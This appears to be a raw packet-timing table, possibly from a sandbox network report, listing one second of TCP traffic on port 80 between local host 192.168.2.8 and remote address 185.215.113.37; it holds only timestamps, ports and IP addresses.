Sep 30, 2024 12:33:18.856889963 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856933117 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856933117 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.856992960 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857004881 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857016087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857042074 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.857070923 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.857104063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857120037 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857131004 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857146978 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857161045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.857163906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857176065 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857181072 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.857187033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857204914 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857206106 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.857215881 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857227087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.857247114 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.857248068 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.857278109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981290102 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981308937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981319904 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981359005 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981383085 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981389999 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981395006 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981414080 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981426001 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981429100 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981452942 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981465101 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981503963 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981503963 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981662035 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981673002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981684923 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981710911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981735945 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981736898 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981743097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981754065 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981765032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981775999 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981789112 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981825113 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981825113 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981884003 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981895924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981906891 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981919050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981930017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981936932 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981940985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981951952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981956959 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981964111 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.981973886 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.981975079 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982012033 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982029915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982031107 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982039928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982050896 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982062101 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982072115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982073069 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982083082 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982094049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982099056 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982099056 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982110023 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982121944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982122898 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982141972 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982168913 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982170105 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982182980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982201099 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982211113 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982222080 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982223988 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982233047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982247114 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982275963 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982302904 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982314110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982320070 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982325077 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982394934 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982412100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982424974 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982435942 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982445002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982466936 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982497931 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982609034 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982620001 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982631922 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982641935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982647896 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982659101 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982665062 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982671976 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982682943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982692957 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982707024 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982707024 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982738018 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982743025 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982753992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982764006 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982774973 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982779980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982784986 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982789040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982800961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982809067 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982810974 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982826948 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982839108 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982851028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982848883 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982868910 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982877970 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982886076 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982889891 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982901096 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982913971 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982917070 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982950926 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982956886 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982969046 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.982971907 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:18.982980013 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:18.983017921 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.105638027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105788946 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.105806112 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105818033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105828047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105839014 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105850935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105864048 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105863094 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.105874062 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105890036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105899096 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.105900049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105912924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105921984 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105932951 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.105937958 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.105962992 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.105984926 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.105989933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.106000900 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.106045008 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.106066942 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.106076002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.106086016 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.106101990 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.106112957 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.106122971 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.106129885 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.106165886 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.106165886 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107377052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107467890 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107481003 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107491970 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107491970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107513905 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107522011 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107532978 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107539892 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107539892 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107543945 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107557058 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107559919 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107582092 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107606888 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107628107 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107637882 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107651949 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107662916 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107669115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107731104 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107763052 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107773066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107784033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107795000 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107805967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107836008 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107867956 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107888937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107899904 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107909918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107920885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107933044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107943058 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107944965 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107955933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107966900 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107978106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.107983112 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107983112 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.107989073 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108007908 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108023882 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108032942 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108035088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108046055 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108061075 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108072996 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108078957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108087063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108098984 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108099937 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108110905 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108118057 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108122110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108160973 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108160973 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108192921 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108203888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108246088 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108356953 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108367920 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108380079 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108390093 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108396053 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108400106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108412027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108422041 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108428955 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108433008 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108443975 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108454943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108465910 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108464956 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108478069 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108484983 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108490944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108510017 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108510017 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108530998 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108570099 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108582020 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108593941 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108599901 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108611107 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.108620882 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108654976 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.108654976 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.229886055 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.229926109 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.229938030 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.229959011 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230005980 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230015993 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230026007 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230036974 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230047941 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230058908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230058908 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230066061 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230078936 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230082035 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230123997 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230168104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230170012 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230209112 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230214119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230223894 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230256081 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230285883 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230288029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230346918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230357885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230372906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230382919 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230393887 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230427027 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230427980 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230675936 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230685949 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230696917 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230729103 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230730057 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230743885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230751038 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230768919 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230779886 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230791092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230797052 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230802059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230830908 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230850935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230850935 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230863094 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230875015 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.230899096 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.230928898 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.231041908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231051922 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231061935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231096029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231101990 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.231107950 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231117964 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231123924 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.231144905 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.231173038 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.231337070 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231348038 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231359005 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231375933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231391907 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231420994 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.231421947 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.231421947 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.231434107 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231446028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231462955 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231475115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:19.231477022 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.231496096 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:19.231524944 CEST	49705	80	192.168.2.8	185.215.113.37
